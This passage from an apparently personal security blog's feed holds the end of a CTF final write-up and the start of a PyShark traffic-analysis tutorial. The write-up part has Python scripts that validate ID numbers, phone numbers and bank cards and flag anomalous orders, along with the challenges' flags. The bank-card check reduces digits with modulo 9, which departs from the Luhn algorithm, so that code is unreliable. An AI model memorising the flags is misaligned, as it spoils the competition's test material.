class="hljs-built_in">print</span>(md5_obj.hexdigest())<br></code></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs flag">DASCTF&#123;4c5e686c28a5409e6f19598b97d39964&#125;<br></code></pre></td></tr></table></figure><h2 id="数据安全"><a href="#数据安全" class="headerlink" title="数据安全"></a>数据安全</h2><h3 id="check1"><a href="#check1" class="headerlink" title="check1"></a>check1</h3><p>根据给出的信息验证规则编写验证脚本，使用 csv 库读取与写入 csv 文件，datetime 库处理日期时间信息</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">id_check</span>(<span class="hljs-params"><span class="hljs-built_in">id</span></span>):<br>    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(<span class="hljs-built_in">id</span>) != <span class="hljs-number">18</span>: <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    <span class="hljs-keyword">if</span> <span class="hljs-built_in">id</span>[-<span class="hljs-number">1</span>].upper() == <span class="hljs-string">&#x27;X&#x27;</span>:<br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-built_in">id</span>[:-<span class="hljs-number">1</span>].isdigit(): <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    <span class="hljs-keyword">else</span>:<br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-built_in">id</span>.isdigit(): <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    <span class="hljs-keyword">if</span> id_verify(<span class="hljs-built_in">id</span>) != <span class="hljs-built_in">id</span>[-<span class="hljs-number">1</span>].upper(): <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">id_verify</span>(<span class="hljs-params"><span class="hljs-built_in">id</span></span>):<br>    c = [<span class="hljs-number">7</span>, <span class="hljs-number">9</span>, <span class="hljs-number">10</span>, <span class="hljs-number">5</span>, <span class="hljs-number">8</span>, <span class="hljs-number">4</span>, <span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">6</span>, <span class="hljs-number">3</span>, <span class="hljs-number">7</span>, <span class="hljs-number">9</span>, <span class="hljs-number">10</span>, <span class="hljs-number">5</span>, <span class="hljs-number">8</span>, <span class="hljs-number">4</span>, <span class="hljs-number">2</span>]<br>    b = [<span class="hljs-built_in">int</span>(<span class="hljs-built_in">id</span>[i]) * c[i] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">17</span>)]<br>    a = <span class="hljs-built_in">sum</span>(b) % <span class="hljs-number">11</span><br>    m = [<span class="hljs-string">&#x27;1&#x27;</span>, <span class="hljs-string">&#x27;0&#x27;</span>, <span class="hljs-string">&#x27;X&#x27;</span>, <span class="hljs-string">&#x27;9&#x27;</span>, <span class="hljs-string">&#x27;8&#x27;</span>, <span class="hljs-string">&#x27;7&#x27;</span>, <span class="hljs-string">&#x27;6&#x27;</span>, <span class="hljs-string">&#x27;5&#x27;</span>, <span class="hljs-string">&#x27;4&#x27;</span>, <span class="hljs-string">&#x27;3&#x27;</span>, <span class="hljs-string">&#x27;2&#x27;</span>]<br>    <span class="hljs-keyword">return</span> m[a]<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">sex_verify</span>(<span class="hljs-params"><span class="hljs-built_in">id</span>, sex</span>):<br>    sex_id = <span class="hljs-built_in">id</span>[-<span class="hljs-number">2</span>]<br>    <span class="hljs-keyword">if</span> <span class="hljs-built_in">int</span>(sex_id) % <span class="hljs-number">2</span> == <span class="hljs-number">0</span>:<br>        <span class="hljs-keyword">return</span> sex == <span class="hljs-string">&#x27;女&#x27;</span><br>    <span class="hljs-keyword">else</span>:<br>        <span class="hljs-keyword">return</span> sex == <span class="hljs-string">&#x27;男&#x27;</span><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">birth_check</span>(<span class="hljs-params"><span class="hljs-built_in">id</span>, birthday</span>):<br>    id_birth_year = <span class="hljs-built_in">id</span>[<span class="hljs-number">6</span>:<span class="hljs-number">10</span>]<br>    id_birth_month = <span class="hljs-built_in">id</span>[<span class="hljs-number">10</span>:<span class="hljs-number">12</span>]<br>    id_birth_day = <span class="hljs-built_in">id</span>[<span class="hljs-number">12</span>:<span class="hljs-number">14</span>]<br>    birthday_from_info = birthday.split(<span class="hljs-string">&#x27;-&#x27;</span>)<br>    <span class="hljs-keyword">return</span> <span class="hljs-built_in">int</span>(id_birth_year) == <span class="hljs-built_in">int</span>(birthday_from_info[<span class="hljs-number">0</span>]) <span class="hljs-keyword">and</span> <span class="hljs-built_in">int</span>(id_birth_month) == <span class="hljs-built_in">int</span>(birthday_from_info[<span class="hljs-number">1</span>]) <span class="hljs-keyword">and</span> <span class="hljs-built_in">int</span>(id_birth_day) == <span class="hljs-built_in">int</span>(birthday_from_info[<span class="hljs-number">2</span>])<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">mobile_check</span>(<span class="hljs-params">mobile</span>):<br>    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(mobile) != <span class="hljs-number">11</span>: <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> mobile.startswith(<span class="hljs-string">&#x27;1&#x27;</span>): <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> mobile.isdigit(): <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span><br><br><span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">time_logic_check</span>(<span class="hljs-params">birthday, register, last_login</span>):<br>    birth_date = datetime.strptime(birthday, <span class="hljs-string">&#x27;%Y-%m-%d&#x27;</span>)<br>    register_date = datetime.strptime(register, <span class="hljs-string">&#x27;%Y-%m-%d %H:%M:%S&#x27;</span>)<br>    last_login_date = datetime.strptime(last_login, <span class="hljs-string">&#x27;%Y-%m-%d %H:%M:%S&#x27;</span>)<br>    <span class="hljs-keyword">return</span> (birth_date &lt; register_date) <span class="hljs-keyword">and</span> (register_date &lt;= last_login_date)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">name_check</span>(<span class="hljs-params">name</span>):<br>    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(name) &lt; <span class="hljs-number">2</span> <span class="hljs-keyword">or</span> <span class="hljs-built_in">len</span>(name) &gt; <span class="hljs-number">4</span>: <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> name.isalpha(): <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span><br><br><span class="hljs-keyword">import</span> csv<br><br>info_legal = []<br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;data.csv&#x27;</span>, <span class="hljs-string">&#x27;r&#x27;</span>, encoding=<span class="hljs-string">&#x27;utf-8&#x27;</span>) <span class="hljs-keyword">as</span> file:<br>    reader = csv.reader(file)<br>    <span class="hljs-keyword">for</span> row <span class="hljs-keyword">in</span> reader:<br>        <span class="hljs-comment"># 1.身份证号格式验证</span><br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> id_check(row[<span class="hljs-number">2</span>]):<br>            <span class="hljs-keyword">continue</span><br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> id_verify(row[<span class="hljs-number">2</span>]):<br>            <span class="hljs-keyword">continue</span><br>        <span class="hljs-comment"># 2.性别一致性验证</span><br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> sex_verify(row[<span class="hljs-number">2</span>], row[<span class="hljs-number">3</span>]):<br>            <span class="hljs-keyword">continue</span><br>        <span class="hljs-comment"># 3.出生日期一致性验证</span><br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> birth_check(row[<span class="hljs-number">2</span>], row[<span class="hljs-number">5</span>]):<br>            <span class="hljs-keyword">continue</span><br>        <span class="hljs-comment"># 4.手机号格式验证</span><br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> mobile_check(row[<span class="hljs-number">4</span>]):<br>            <span class="hljs-keyword">continue</span><br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> time_logic_check(row[<span class="hljs-number">5</span>], row[<span class="hljs-number">6</span>], row[<span class="hljs-number">7</span>]):<br>            <span class="hljs-keyword">continue</span><br>        <span class="hljs-comment"># 6.姓名格式验证</span><br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> name_check(row[<span class="hljs-number">1</span>]):<br>            <span class="hljs-keyword">continue</span><br>        info_legal.append(row)<br><br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;legals.csv&#x27;</span>, <span class="hljs-string">&#x27;w&#x27;</span>, encoding=<span class="hljs-string">&#x27;utf-8&#x27;</span>, newline=<span class="hljs-string">&#x27;&#x27;</span>) <span class="hljs-keyword">as</span> file:<br>    writer = csv.writer(file)<br>    writer.writerow([<span class="hljs-string">&#x27;客户ID&#x27;</span>,<span class="hljs-string">&#x27;姓名&#x27;</span>,<span class="hljs-string">&#x27;身份证号&#x27;</span>,<span class="hljs-string">&#x27;性别&#x27;</span>,<span class="hljs-string">&#x27;手机号&#x27;</span>,<span class="hljs-string">&#x27;出生日期&#x27;</span>,<span class="hljs-string">&#x27;注册时间&#x27;</span>,<span class="hljs-string">&#x27;最后登录时间&#x27;</span>])<br>    <span class="hljs-keyword">for</span> row <span class="hljs-keyword">in</span> info_legal:<br>        writer.writerow(row)<br></code></pre></td></tr></table></figure><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_10.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_10.png" alt="DASCTF{73692433520529165875247074902265}"></p><h3 id="shop"><a href="#shop" class="headerlink" title="shop"></a>shop</h3><p>同样根据给出的检测规范模板编写验证脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br></pre></td><td class="code"><pre><code class="hljs python">balance_error = []<br>bank_error = []<br>frequent_error = []<br><br>price_area = &#123;<br>    <span class="hljs-string">&#x27;电子产品&#x27;</span>: [<span class="hljs-number">100</span>, <span class="hljs-number">5000</span>],<br>    <span class="hljs-string">&#x27;服装鞋包&#x27;</span>: [<span class="hljs-number">50</span>, <span class="hljs-number">1000</span>],<br>    <span class="hljs-string">&#x27;家居用品&#x27;</span>: [<span class="hljs-number">30</span>, <span class="hljs-number">2000</span>],<br>    <span class="hljs-string">&#x27;美妆护肤&#x27;</span>: [<span class="hljs-number">20</span>, <span class="hljs-number">800</span>],<br>    <span class="hljs-string">&#x27;食品饮料&#x27;</span>: [<span class="hljs-number">5</span>, <span class="hljs-number">300</span>],<br>    <span class="hljs-string">&#x27;图书文具&#x27;</span>: [<span class="hljs-number">5</span>, <span class="hljs-number">200</span>],<br>    <span class="hljs-string">&#x27;运动户外&#x27;</span>: [<span class="hljs-number">50</span>, <span class="hljs-number">3000</span>]<br>&#125;<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">balance_check</span>(<span class="hljs-params">goods_type, price</span>):<br>    <span class="hljs-keyword">return</span> <span class="hljs-keyword">not</span> (<span class="hljs-built_in">float</span>(price) &lt; price_area[goods_type][<span class="hljs-number">0</span>] <span class="hljs-keyword">or</span> <span class="hljs-built_in">float</span>(price) &gt; price_area[goods_type][<span class="hljs-number">1</span>])<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">bank_check</span>(<span class="hljs-params">bank</span>):<br>    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(bank) &lt; <span class="hljs-number">16</span> <span class="hljs-keyword">or</span> <span class="hljs-built_in">len</span>(bank) &gt; <span class="hljs-number">19</span> <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> bank.isdigit(): <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    s = <span class="hljs-number">0</span><br>    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(bank) - <span class="hljs-number">1</span>, -<span class="hljs-number">1</span>, -<span class="hljs-number">1</span>):<br>        t = <span class="hljs-built_in">int</span>(bank[i])<br>        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">len</span>(bank) - i) % <span class="hljs-number">2</span> == <span class="hljs-number">0</span>:<br>            t = t * <span class="hljs-number">2</span><br>        t = t % <span class="hljs-number">9</span><br>        s += t<br>    <span class="hljs-keyword">return</span> (s % <span class="hljs-number">10</span> == <span class="hljs-number">0</span>)<br><br><br>usage_analyze = &#123;<br>    <span class="hljs-string">&#x27;&#x27;</span>: &#123;<br>        <span class="hljs-string">&#x27;0000000000000000&#x27;</span>: []<br>    &#125;<br>&#125;<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">usage_check</span>(<span class="hljs-params">row</span>):<br>    order_hour = row[<span class="hljs-number">3</span>].split(<span class="hljs-string">&#x27;:&#x27;</span>)[<span class="hljs-number">0</span>]<br>    <span class="hljs-keyword">if</span> usage_analyze.get(order_hour) == <span class="hljs-literal">None</span>:<br>        usage_analyze.update(&#123;order_hour: <span class="hljs-built_in">dict</span>()&#125;)<br>    <span class="hljs-keyword">if</span> usage_analyze[order_hour].get(row[<span class="hljs-number">6</span>]) == <span class="hljs-literal">None</span>: <span class="hljs-comment"># row[6] = 银行卡号</span><br>        usage_analyze[order_hour].update(&#123;row[<span class="hljs-number">6</span>]: <span class="hljs-built_in">list</span>()&#125;)<br>    usage_analyze[order_hour][row[<span class="hljs-number">6</span>]].append(row[<span class="hljs-number">1</span>])<br><br>order_analyze = &#123;<br>&#125;<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">order_check</span>(<span class="hljs-params">row</span>):<br>    order_hour = row[<span class="hljs-number">3</span>].split(<span class="hljs-string">&#x27;:&#x27;</span>)[<span class="hljs-number">0</span>]<br>    <span class="hljs-keyword">if</span> order_analyze.get(order_hour) == <span class="hljs-literal">None</span>:<br>        order_analyze.update(&#123;order_hour: <span class="hljs-built_in">dict</span>()&#125;)<br>    <span class="hljs-keyword">if</span> order_analyze[order_hour].get(row[<span class="hljs-number">1</span>]) == <span class="hljs-literal">None</span>: <span class="hljs-comment"># row[1] = 用户ID</span><br>        order_analyze[order_hour].update(&#123;row[<span class="hljs-number">1</span>]: <span class="hljs-number">0</span>&#125;)<br>    order_analyze[order_hour][row[<span class="hljs-number">1</span>]] += <span class="hljs-number">1</span><br><br><span class="hljs-keyword">import</span> csv<br><span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime<br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;data.csv&#x27;</span>, <span class="hljs-string">&#x27;r&#x27;</span>, encoding=<span class="hljs-string">&#x27;utf-8&#x27;</span>) <span class="hljs-keyword">as</span> file:<br>    reader = csv.reader(file)<br>    <span class="hljs-keyword">for</span> row <span class="hljs-keyword">in</span> reader:<br>        <span class="hljs-comment"># 1.金额异常检测</span><br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> balance_check(row[<span class="hljs-number">4</span>], row[<span class="hljs-number">2</span>]):<br>            balance_error.append(row[<span class="hljs-number">1</span>])<br>        <span class="hljs-comment"># 2.银行卡异常检测</span><br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> bank_check(row[<span class="hljs-number">6</span>]):<br>            bank_error.append(row[<span class="hljs-number">1</span>])<br>        <span class="hljs-comment"># 2.3使用异常检测</span><br>        usage_check(row)<br>        <span class="hljs-comment"># 3.频率异常检测</span><br>        order_check(row)<br><br><span class="hljs-keyword">for</span> hour <span class="hljs-keyword">in</span> usage_analyze.keys():<br>    <span class="hljs-keyword">for</span> card <span class="hljs-keyword">in</span> usage_analyze[hour].keys():<br>        <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(usage_analyze[hour][card]) &gt; <span class="hljs-number">1</span>:<br>            <span class="hljs-keyword">for</span> user_id <span class="hljs-keyword">in</span> usage_analyze[hour][card]:<br>                bank_error.append(user_id)<br><br><br><span class="hljs-keyword">for</span> hour <span class="hljs-keyword">in</span> order_analyze.keys():<br>    <span class="hljs-keyword">for</span> user_id <span class="hljs-keyword">in</span> order_analyze[hour].keys():<br>        <span class="hljs-keyword">if</span> order_analyze[hour][user_id] &gt; <span class="hljs-number">10</span>:<br>            <span class="hljs-built_in">print</span>(hour, user_id, order_analyze[hour][user_id])<br>            frequent_error.append(user_id)<br><br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;illegals.csv&#x27;</span>, <span class="hljs-string">&#x27;w&#x27;</span>, encoding=<span class="hljs-string">&#x27;utf-8&#x27;</span>, newline=<span class="hljs-string">&#x27;&#x27;</span>) <span class="hljs-keyword">as</span> file:<br>    writer = csv.writer(file)<br>    writer.writerow([<span class="hljs-string">&#x27;用户ID&#x27;</span>, <span class="hljs-string">&#x27;异常类型&#x27;</span>])<br>    <span class="hljs-keyword">for</span> user_id <span class="hljs-keyword">in</span> <span class="hljs-built_in">list</span>(<span class="hljs-built_in">dict</span>.fromkeys(balance_error)):<br>        writer.writerow([user_id, <span class="hljs-string">&#x27;金额异常&#x27;</span>])<br>    <span class="hljs-keyword">for</span> user_id <span class="hljs-keyword">in</span> <span class="hljs-built_in">list</span>(<span class="hljs-built_in">dict</span>.fromkeys(bank_error)):<br>        writer.writerow([user_id, <span class="hljs-string">&#x27;银行卡异常&#x27;</span>])<br>    <span class="hljs-keyword">for</span> user_id <span class="hljs-keyword">in</span> <span class="hljs-built_in">list</span>(<span class="hljs-built_in">dict</span>.fromkeys(frequent_error)):<br>        writer.writerow([user_id, <span class="hljs-string">&#x27;频率异常&#x27;</span>])<br></code></pre></td></tr></table></figure><p class='item-img' data-src='/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_11.png'><img src="/articles/8th-nisc-ctf-dasctf/8th-nisc-ctf-dasctf_11.png" alt="DASCTF{89448851859314492663739829500496}"></p>]]>
    </content>
    <id>https://blog.moling.ink/articles/8th-nisc-ctf-dasctf/</id>
    <link href="https://blog.moling.ink/articles/8th-nisc-ctf-dasctf/"/>
    <published>2025-11-16T12:34:41.000Z</published>
    <summary>第八届浙江省大学生网络与信息安全竞赛决赛完整 WriteUp,包含 Web 前端限制绕过、Misc 图片隐写与 NTFS 流隐写、Crypto RSA 与 AES 解密、Reverse Android APK 逆向分析、AI 安全图像分类与数据安全(身份证校验、银行卡 Luhn 算法、交易异常检测)等六大模块的详细解题过程</summary>
    <title>第八届浙江省大学生网络与信息安全竞赛网络安全技能挑战赛 决赛WP</title>
    <updated>2026-03-24T07:16:31.684Z</updated>
  </entry>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="笔记" scheme="https://blog.moling.ink/categories/%E7%AC%94%E8%AE%B0/"/>
    <category term="Python" scheme="https://blog.moling.ink/tags/Python/"/>
    <category term="流量分析" scheme="https://blog.moling.ink/tags/%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/"/>
    <category term="Wireshark" scheme="https://blog.moling.ink/tags/Wireshark/"/>
    <content>
      <![CDATA[<h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><ul><li><p>安装 <a href="https://www.wireshark.org/download.html">Wireshark</a> 时勾选安装 Tshark</p><p class='item-img' data-src='/articles/usage-of-pyshark/usage-of-pyshark_00.png'><img src="/articles/usage-of-pyshark/usage-of-pyshark_00.png" alt="安装Tshark"></p></li><li><p>pip 安装 Pyshark</p></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">pip install pyshark<br></code></pre></td></tr></table></figure><ul><li><p>将 Wireshark 安装目录添加到环境变量</p><p class='item-img' data-src='/articles/usage-of-pyshark/usage-of-pyshark_01.png'><img src="/articles/usage-of-pyshark/usage-of-pyshark_01.png" alt="环境变量"></p></li><li><p>找到 PyShark 库安装位置下的 <code>config.ini</code>，将 <code>tshark_path</code> 修改为安装路径</p><p class='item-img' data-src='/articles/usage-of-pyshark/usage-of-pyshark_02.png'><img src="/articles/usage-of-pyshark/usage-of-pyshark_02.png" alt="安装路径"></p></li></ul><h2 id="从读取-pcap-pcapng-文件开始"><a href="#从读取-pcap-pcapng-文件开始" class="headerlink" title="从读取 pcap&#x2F;pcapng 文件开始"></a>从读取 <code>pcap</code>&#x2F;<code>pcapng</code> 文件开始</h2><blockquote><p>示例题目: <a href="https://buuoj.cn/challenges#easycap">BUUCTF - easycap</a></p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> pyshark <span class="hljs-comment"># 导入 pyshark 库</span><br><span class="hljs-comment"># 通过路径定位 pcap 文件位置并创建 FileCapture 类</span><br>cap = pyshark.FileCapture(<span class="hljs-string">&#x27;F:\\easycap.pcap&#x27;</span>)<br><span class="hljs-comment"># 遍历数据包</span><br><span class="hljs-keyword">for</span> pkt <span class="hljs-keyword">in</span> cap:<br>    <span class="hljs-built_in">print</span>(pkt.highest_layer, pkt.length)<br></code></pre></td></tr></table></figure><p class='item-img' data-src='/articles/usage-of-pyshark/usage-of-pyshark_03.png'><img src="/articles/usage-of-pyshark/usage-of-pyshark_03.png" alt="运行结果"></p><p>从运行结果可知，包含数据的 TCP 包的 <code>highest_layer</code> 会被标记为 <code>DATA</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">for</span> pkt <span class="hljs-keyword">in</span> cap: <span class="hljs-comment"># 遍历数据包</span><br>    <span class="hljs-keyword">if</span> <span class="hljs-string">&#x27;DATA&#x27;</span> <span class="hljs-keyword">in</span> pkt: <span class="hljs-comment"># 当 highest_layer 为 DATA 时</span><br>        <span class="hljs-built_in">print</span>(pkt.tcp.payload) <span class="hljs-comment"># 打印 TCP Payload</span><br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash">F:\&gt;python shark.py<br>46<br>4c<br>41<br>47<br>3a<br>...<br></code></pre></td></tr></table></figure><p>最后将十六进制 Payload 转为 <code>char</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">for</span> pkt <span class="hljs-keyword">in</span> cap: <span class="hljs-comment"># 遍历数据包</span><br>    <span class="hljs-keyword">if</span> <span class="hljs-string">&#x27;DATA&#x27;</span> <span class="hljs-keyword">in</span> pkt: <span class="hljs-comment"># 当 highest_layer 为 DATA 时</span><br>        <span class="hljs-comment"># TCP Payload 转为字符并打印</span><br>        <span class="hljs-built_in">print</span>(<span class="hljs-built_in">chr</span>(<span class="hljs-built_in">int</span>(pkt.tcp.payload, <span class="hljs-number">16</span>)))<br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash">F:\&gt;python shark.py<br>F<br>L<br>A<br>G<br>:<br>...<br></code></pre></td></tr></table></figure><h2 id="对于一些不常见的数据包类型"><a href="#对于一些不常见的数据包类型" class="headerlink" title="对于一些不常见的数据包类型"></a>对于一些不常见的数据包类型</h2><blockquote><p>示例题目: <br>第八届浙江省大学生网络与信息安全竞赛网络安全技能挑战赛-预赛 <br>MISC - 小小作曲家</p></blockquote><p>依然通过遍历数据包获取 <code>highest_layer</code> 类型</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">for</span> pkt <span class="hljs-keyword">in</span> cap:<br>    <span class="hljs-built_in">print</span>(pkt.highest_layer, pkt.length)<br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs bash">F:\&gt;python shark.py<br>DATA 36<br>DATA 46<br>DATA 36<br>DATA 129<br>DATA 36<br>USB 28<br>USBAUDIO 31<br>USB 27<br>USBAUDIO 31<br>USB 27<br>USBAUDIO 31<br>...<br></code></pre></td></tr></table></figure><p>了解到 <code>highest_layer</code> 类型为 <code>USBAUDIO</code>，通过 <code>layers</code> 属性获取数据包内所有 layer</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs python">pkt = cap[<span class="hljs-number">6</span>]<br><span class="hljs-built_in">print</span>(pkt.layers)<br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span 